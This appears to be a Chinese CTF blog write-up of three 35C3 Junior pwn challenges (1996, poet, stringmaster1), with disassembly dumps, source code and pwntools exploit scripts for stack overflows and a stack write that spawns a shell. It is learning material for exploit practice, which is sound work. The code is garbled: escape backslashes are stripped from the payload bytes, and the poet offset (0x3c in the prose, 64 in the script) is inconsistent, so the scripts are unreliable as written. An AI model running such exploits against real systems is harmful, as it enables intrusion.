35C3 Junior pwn筆記(上)
前言
在被期末預習虐得半死的時候看到35c3的訊息就去稍微看看題,結果又被非libc虐哭,在被虐哭後看到還有Junior賽就過去把Junior的pwn題悄咪咪的寫了幾題,但在做這些題到後面時還是會卡住,所以在這緊張刺激的期末考結束後寫一點筆記來記錄和複習下,這裡先記錄下libc非2.27的題目
1996
慣例先checksec檔案
➜1996 checksec 1996 [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/1996/1996' Arch:amd64-64-little RELRO:Partial RELRO Stack:No canary found NX:NX enabled PIE:No PIE (0x400000)
因為最近在練看彙編題目稍微看了下程式邏輯也不難所以就直接就看彙編分析了
Dump of assembler code for function main: 0x00000000004008cd <+0>:pushrbp 0x00000000004008ce <+1>:movrbp,rsp 0x00000000004008d1 <+4>:pushrbx 0x00000000004008d2 <+5>:subrsp,0x408 0x00000000004008d9 <+12>:learsi,[rip+0x188]# 0x400a68 0x00000000004008e0 <+19>:leardi,[rip+0x200779]# 0x601060 <std::cout@@GLIBCXX_3.4> 0x00000000004008e7 <+26>:call0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x00000000004008ec <+31>:learax,[rbp-0x410] 0x00000000004008f3 <+38>:movrsi,rax 0x00000000004008f6 <+41>:leardi,[rip+0x200883]# 0x601180 <std::cin@@GLIBCXX_3.4> 0x00000000004008fd <+48>:call0x400740 <std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt> 0x0000000000400902 <+53>:learax,[rbp-0x410] 0x0000000000400909 <+60>:movrsi,rax 0x000000000040090c <+63>:leardi,[rip+0x20074d]# 0x601060 <std::cout@@GLIBCXX_3.4> 0x0000000000400913 <+70>:call0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400918 <+75>:learsi,[rip+0x17a]# 0x400a99 0x000000000040091f <+82>:movrdi,rax 0x0000000000400922 <+85>:call0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400927 <+90>:movrbx,rax 0x000000000040092a <+93>:learax,[rbp-0x410] 0x0000000000400931 <+100>:movrdi,rax 0x0000000000400934 <+103>:call0x400780 <getenv@plt> 0x0000000000400939 <+108>:movrsi,rax 0x000000000040093c <+111>:movrdi,rbx 0x000000000040093f <+114>:call0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt> 0x0000000000400944 <+119>:movrdx,rax 0x0000000000400947 <+122>:movrax,QWORD PTR [rip+0x200692]# 0x600fe0 0x000000000040094e <+129>:movrsi,rax 0x0000000000400951 <+132>:movrdi,rdx 0x0000000000400954 <+135>:call0x400770 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt> 0x0000000000400959 <+140>:moveax,0x0 0x000000000040095e <+145>:addrsp,0x408 0x0000000000400965 <+152>:poprbx 0x0000000000400966 <+153>:poprbp 0x0000000000400967 <+154>:ret End of assembler dump.
看一下程式的main我們可以知道這裡用cin來讀取,如果用c來說就相當與gets也就是一個很明顯的棧溢位,接著我們看到lea rax,[rbp-0x410],我們就知道了bufsize=0x410
到了這裡我們基本就隨便玩了,因為給了執行/bin/sh的函式所以我們直接溢位劫持執行流到spawn_shell函式
Dump of assembler code for function _Z11spawn_shellv: 0x0000000000400897 <+0>:pushrbp 0x0000000000400898 <+1>:movrbp,rsp 0x000000000040089b <+4>:subrsp,0x10 0x000000000040089f <+8>:learax,[rip+0x1b3]# 0x400a59 0x00000000004008a6 <+15>:movQWORD PTR [rbp-0x10],rax 0x00000000004008aa <+19>:movQWORD PTR [rbp-0x8],0x0 0x00000000004008b2 <+27>:learax,[rbp-0x10] 0x00000000004008b6 <+31>:movedx,0x0 0x00000000004008bb <+36>:movrsi,rax 0x00000000004008be <+39>:leardi,[rip+0x194]# 0x400a59 0x00000000004008c5 <+46>:call0x4007a0 <execve@plt> 0x00000000004008ca <+51>:nop 0x00000000004008cb <+52>:leave 0x00000000004008cc <+53>:ret End of assembler dump.
或者用其他的棧溢位方法,因為是簡單題就不多贅述了,直接放EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') #n = process('./1996') n = remote('35.207.132.47',22227) elf = ELF('./1996') sh_addr = 0x0400897 n.recvuntil('?') n.sendline('a'*(0x410+8)+p64(sh_addr)) n.interactive()
poet
➜poet checksec poet [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/poet/poet' Arch:amd64-64-little RELRO:Partial RELRO Stack:No canary found NX:NX enabled PIE:No PIE (0x400000)
簡單的執行下程式看看程式的大致邏輯
➜poet ./poet ********************************************************** * We are searching for the poet of the year 2018.* * Submit your one line poem now to win an amazing prize! * ********************************************************** Enter the poem here: > aaaaaaa Who is the author of this poem? > nepire +---------------------------------------------------------------------------+ THE POEM aaaaaaa SCORED 0 POINTS. SORRY, THIS POEM IS JUST NOT GOOD ENOUGH. YOU MUST SCORE EXACTLY 1000000 POINTS. TRY AGAIN! +---------------------------------------------------------------------------+
大致的就是讓你寫首詩(gou……)然後程式會給你評個分,最終目標是得到1000000分,接著看下大概的彙編
Dump of assembler code for function main: 0x000000000040098b <+0>:pushrbx 0x000000000040098c <+1>:movecx,0x0 0x0000000000400991 <+6>:movedx,0x2 0x0000000000400996 <+11>:movesi,0x0 0x000000000040099b <+16>:movrdi,QWORD PTR [rip+0x2016de]# 0x602080 <stdout@@GLIBC_2.2.5> 0x00000000004009a2 <+23>:call0x400640 <setvbuf@plt> 0x00000000004009a7 <+28>:leardi,[rip+0x292]# 0x400c40 0x00000000004009ae <+35>:call0x400600 <puts@plt> 0x00000000004009b3 <+40>:learbx,[rip+0x2016e6]# 0x6020a0 <poem> 0x00000000004009ba <+47>:moveax,0x0 0x00000000004009bf <+52>:call0x400935 <get_poem> 0x00000000004009c4 <+57>:moveax,0x0 0x00000000004009c9 <+62>:call0x400965 <get_author> 0x00000000004009ce <+67>:moveax,0x0 0x00000000004009d3 <+72>:call0x4007b7 <rate_poem> 0x00000000004009d8 <+77>:cmpDWORD PTR [rbx+0x440],0xf4240 0x00000000004009e2 <+87>:je0x4009f2 <main+103> 0x00000000004009e4 <+89>:leardi,[rip+0x345]# 0x400d30 0x00000000004009eb <+96>:call0x400600 <puts@plt> 0x00000000004009f0 <+101>:jmp0x4009ba <main+47> 0x00000000004009f2 <+103>:moveax,0x0 0x00000000004009f7 <+108>:call0x400767 <reward> End of assembler dump.
main就三個關鍵邏輯函式(get_poem/get_author/rate_poem),reward函式就是一個getflag的函式就不細分析了
先看下get_poem和get_author的程式碼
Dump of assembler code for function get_poem: 0x0000000000400935 <+0>:subrsp,0x8 0x0000000000400939 <+4>:leardi,[rip+0x17b]# 0x400abb 0x0000000000400940 <+11>:moveax,0x0 0x0000000000400945 <+16>:call0x400610 <printf@plt> 0x000000000040094a <+21>:leardi,[rip+0x20174f]# 0x6020a0 <poem> 0x0000000000400951 <+28>:call0x400630 <gets@plt> 0x0000000000400956 <+33>:movDWORD PTR [rip+0x201b80],0x0# 0x6024e0 <poem+1088> 0x0000000000400960 <+43>:addrsp,0x8 0x0000000000400964 <+47>:ret End of assembler dump.
Dump of assembler code for function get_author: 0x0000000000400965 <+0>:subrsp,0x8 0x0000000000400969 <+4>:leardi,[rip+0x2a8]# 0x400c18 0x0000000000400970 <+11>:moveax,0x0 0x0000000000400975 <+16>:call0x400610 <printf@plt> 0x000000000040097a <+21>:leardi,[rip+0x201b1f]# 0x6024a0 <poem+1024> 0x0000000000400981 <+28>:call0x400630 <gets@plt> 0x0000000000400986 <+33>:addrsp,0x8 0x000000000040098a <+37>:ret End of assembler dump.
沒什麼大問題,不過用了gets可能會存在越界寫什麼的先保留可能
接著看下關鍵的評分函式
Dump of assembler code for function rate_poem: 0x00000000004007b7 <+0>:pushr13 0x00000000004007b9 <+2>:pushr12 0x00000000004007bb <+4>:pushrbp 0x00000000004007bc <+5>:pushrbx 0x00000000004007bd <+6>:subrsp,0x408 0x00000000004007c4 <+13>:movrbx,rsp 0x00000000004007c7 <+16>:learsi,[rip+0x2018d2]# 0x6020a0 <poem> 0x00000000004007ce <+23>:movrdi,rbx 0x00000000004007d1 <+26>:call0x4005f0 <strcpy@plt> 0x00000000004007d6 <+31>:learsi,[rip+0x2b4]# 0x400a91 0x00000000004007dd <+38>:movrdi,rbx 0x00000000004007e0 <+41>:call0x400660 <strtok@plt> 0x00000000004007e5 <+46>:testrax,rax 0x00000000004007e8 <+49>:je0x400909 <rate_poem+338> 0x00000000004007ee <+55>:learbx,[rip+0x29f]# 0x400a94 "ESPR" 0x00000000004007f5 <+62>:learbp,[rip+0x2aa]# 0x400aa6 "eat" 0x00000000004007fc <+69>:lear12,[rip+0x296]# 0x400a99 "sleep" 0x0000000000400803 <+76>:lear13,[rip+0x295]# 0x400a9f "pwn" 0x000000000040080a <+83>:jmp0x40082d <rate_poem+118> 0x000000000040080c <+85>:addDWORD PTR [rip+0x201ccd],0x64# 0x6024e0 <poem+1088> 0x0000000000400813 <+92>:learsi,[rip+0x277]# 0x400a91 "n" 0x000000000040081a <+99>:movedi,0x0 0x000000000040081f <+104>:call0x400660 <strtok@plt> 0x0000000000400824 <+109>:testrax,rax 0x0000000000400827 <+112>:je0x400909 <rate_poem+338> 0x000000000040082d <+118>:movecx,0x5 0x0000000000400832 <+123>:movrsi,rax 0x0000000000400835 <+126>:movrdi,rbx 0x0000000000400838 <+129>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040083a <+131>:setadl 0x000000000040083d <+134>:sbbdl,0x0 0x0000000000400840 <+137>:testdl,dl 0x0000000000400842 <+139>:je0x40080c <rate_poem+85> 0x0000000000400844 <+141>:movecx,0x4 0x0000000000400849 <+146>:movrsi,rax 0x000000000040084c <+149>:movrdi,rbp 0x000000000040084f <+152>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x0000000000400851 <+154>:setadl 0x0000000000400854 <+157>:sbbdl,0x0 0x0000000000400857 <+160>:testdl,dl 0x0000000000400859 <+162>:je0x40080c <rate_poem+85> 0x000000000040085b <+164>:movecx,0x6 0x0000000000400860 <+169>:movrsi,rax 0x0000000000400863 <+172>:movrdi,r12 0x0000000000400866 <+175>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x0000000000400868 <+177>:setadl 0x000000000040086b <+180>:sbbdl,0x0 0x000000000040086e <+183>:testdl,dl 0x0000000000400870 <+185>:je0x40080c <rate_poem+85> 0x0000000000400872 <+187>:movecx,0x4 0x0000000000400877 <+192>:movrsi,rax 0x000000000040087a <+195>:movrdi,r13 0x000000000040087d <+198>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040087f <+200>:setadl 0x0000000000400882 <+203>:sbbdl,0x0 0x0000000000400885 <+206>:testdl,dl 0x0000000000400887 <+208>:je0x40080c <rate_poem+85> 0x0000000000400889 <+210>:movecx,0x7 0x000000000040088e <+215>:leardi,[rip+0x20e]# 0x400aa3 "repeat" 0x0000000000400895 <+222>:movrsi,rax 0x0000000000400898 <+225>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x000000000040089a <+227>:setadl 0x000000000040089d <+230>:sbbdl,0x0 0x00000000004008a0 <+233>:testdl,dl 0x00000000004008a2 <+235>:je0x40080c <rate_poem+85> 0x00000000004008a8 <+241>:movecx,0x4 0x00000000004008ad <+246>:leardi,[rip+0x1f6]# 0x400aaa "CTF" 0x00000000004008b4 <+253>:movrsi,rax 0x00000000004008b7 <+256>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008b9 <+258>:setadl 0x00000000004008bc <+261>:sbbdl,0x0 0x00000000004008bf <+264>:testdl,dl 0x00000000004008c1 <+266>:je0x40080c <rate_poem+85> 0x00000000004008c7 <+272>:movecx,0x8 0x00000000004008cc <+277>:leardi,[rip+0x1db]# 0x400aae "capture" 0x00000000004008d3 <+284>:movrsi,rax 0x00000000004008d6 <+287>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008d8 <+289>:setadl 0x00000000004008db <+292>:sbbdl,0x0 0x00000000004008de <+295>:testdl,dl 0x00000000004008e0 <+297>:je0x40080c <rate_poem+85> 0x00000000004008e6 <+303>:movecx,0x5 0x00000000004008eb <+308>:leardi,[rip+0x1c4]# 0x400ab6 "flag" 0x00000000004008f2 <+315>:movrsi,rax 0x00000000004008f5 <+318>:repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0x00000000004008f7 <+320>:setaal 0x00000000004008fa <+323>:sbbal,0x0 0x00000000004008fc <+325>:testal,al 0x00000000004008fe <+327>:jne0x400813 <rate_poem+92> 0x0000000000400904 <+333>:jmp0x40080c <rate_poem+85> 0x0000000000400909 <+338>:movedx,DWORD PTR [rip+0x201bd1]# 0x6024e0 <poem+1088> 0x000000000040090f <+344>:learsi,[rip+0x20178a]# 0x6020a0 <poem> 0x0000000000400916 <+351>:leardi,[rip+0x283]# 0x400ba0 0x000000000040091d <+358>:moveax,0x0 0x0000000000400922 <+363>:call0x400610 <printf@plt> 0x0000000000400927 <+368>:addrsp,0x408 0x000000000040092e <+375>:poprbx 0x000000000040092f <+376>:poprbp 0x0000000000400930 <+377>:popr12 0x0000000000400932 <+379>:popr13 0x0000000000400934 <+381>:ret End of assembler dump.
這一大段看了半天還是很混亂就去用ida反編譯了一下發現還是很亂就換動態除錯去理解下這裡是做了什麼
輸了一堆髒資料後發現詩中有’flag’,’CTF’,’capture’,’repeat’的每有其中一個就加100point,但不能直接輸入10000個’CTF’,程式會崩,這裡稍稍卡了一會,不過在嘗試輸入了 'a'* 0x100
和’ b'* 0x100
後,返回得到的分數是1650614882,突然出現一個大數讓我看到溢位的可能性,除錯…………發現這個分數轉十六進位制是0x62626262,立馬意識到這裡的author可以直接溢位覆蓋poem point的結果!經過簡單定位得到偏移量為0x3c,我們把1000000轉成十六進位制就是0x0f4240,然後直接 'a'*0x3c+'x0fx42x40'
得到的poem point是0x40420f(4211215)並不是想要的point,稍微改一下payload改成小端序的
payload = 'a' * 0x3c + 'x40x42x0f'
,success!
EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./poet') elf = ELF('./poet') n.recvuntil('> ') n.sendline('nepire') n.recvuntil('> ') n.sendline('a'*64+'x0fx42x40') n.interactive()
stringmaster1
➜stringmaster1 checksec stringmaster1 [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/stringmaster1/stringmaster1' Arch:amd64-64-little RELRO:Partial RELRO Stack:No canary found NX:NX enabled PIE:No PIE (0x400000)
在粗略過一遍接近4k行還看得難受得半死的c++彙編後,立即推放棄看彙編,給了原始碼就直接懟原始碼
#include <iostream> #include <cstdlib> #include <ctime> #include <vector> #include <unistd.h> #include <limits> using namespace std; const string chars = "abcdefghijklmnopqrstuvwxy"; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } void print_menu() { cout << endl; cout << "Enter the command you want to execute:" << endl; cout << "[1] swap <index1> <index2>(Cost: 1)" << endl; cout << "[2] replace <char1> <char2>(Cost: 1)" << endl; cout << "[3] print(Cost: 1)" << endl; cout << "[4] quit" << endl; cout << "> "; } void play() { string from(10, '0'); string to(10, '0'); for (int i = 0; i < 10; ++i) { from[i] = chars[rand() % (chars.length() - 1)]; to[i] = chars[rand() % (chars.length() - 1)]; } cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl; cout << "[1] swap <index1> <index2>(Cost: 1)" << endl; cout << "Swaps the char at index1 with the char at index2" << endl; cout << "[2] replace <char1> <char2>(Cost: 1)" << endl; cout << "Replaces the first occurence of char1 with char2" << endl; cout << "[3] print(Cost: 1)" << endl; cout << "Prints the current version of the string" << endl; cout << "[4] quit" << endl; cout << "Give up and leave the game" << endl; cout << endl; cout << "String1: " << from << endl; cout << "String2: " << to << endl; cout << endl; unsigned int costs = 0; string s(from); while (true) { print_menu(); string command; cin >> command; if (command == "swap") { unsigned int i1, i2; cin >> i1 >> i2; if (cin.good() && i1 < s.length() && i2 < s.length()) { swap(s[i1], s[i2]); } costs += 1; } else if (command == "replace") { char c1, c2; cin >> c1 >> c2; auto index = s.find(c1); cout << c1 << c2 << index << endl; if (index >= 0) { s[index] = c2; } costs += 1; } else if (command == "print") { cout << s << endl; costs += 1; } else if (command == "quit") { cout << "You lost." << endl; break; } else { cout << "Invalid command" << endl; } if (!cin) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), 'n'); } if (!cout) { cout.clear(); } if (s == to) { cout << s.length() << endl; cout << endl; cout << "****************************************" << endl; cout << "* Congratulations" << endl; cout << "* You solved the problem with cost: " << costs << endl; cout << "****************************************" << endl; cout << endl; break; } } } int main() { srand(time(nullptr)); play(); }
程式的大致流程:
1.先初始化一個以時間為種子的隨機數
2.隨機生成兩個string型別的key
3.進入有三個功能的標準選單迴圈
4.最終需要把函式劫持到spawn_shell函式(0x4011A7)中getshell
我們可以看到程式中用了一個看上去不那麼舒服的find函式
auto index = s.find(c1);
然後我們再看下cplusplus給出的find函式模板和樣例
template <class InputIterator, class T> InputIterator find ( InputIterator first, InputIterator last, const T& val );
// find example #include <iostream>// std::cout #include <algorithm>// std::find #include <vector>// std::vector int main () { // using std::find with array and pointer: int myints[] = { 10, 20, 30, 40 }; int * p; p = std::find (myints, myints+4, 30); if (p != myints+4) std::cout << "Element found in myints: " << *p << 'n'; else std::cout << "Element not found in myintsn"; // using std::find with vector and iterator: std::vector<int> myvector (myints,myints+4); std::vector<int>::iterator it; it = find (myvector.begin(), myvector.end(), 30); if (it != myvector.end()) std::cout << "Element found in myvector: " << *it << 'n'; else std::cout << "Element not found in myvectorn"; return 0; }
程式並沒有給出find的first和last,那麼我們稍微除錯一下replace部分就能得到這個可以基本達成棧上的任意寫,也就是說只要改play函式的retrun指標指向spwan_shell就可以成功getshell了,由於開始的位置和return指標之間不能保證要改的那個值只有在return指標有,所以我們多修改幾次就能成功的修改指標來getshell了
EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./stringmaster1') elf = ELF('./stringmaster1') libc = elf.libc #n.recvuntil('String1: ') #str1 = n.recvline().strip() #n.recvuntil('String2: ') #str2 = n.recvline().strip() for i in range(4): n.recvuntil('') n.sendline('replace x24 x11') for i in range(4): n.recvuntil('') n.sendline('replace x6d xa7') n.sendline('quit') n.interactive()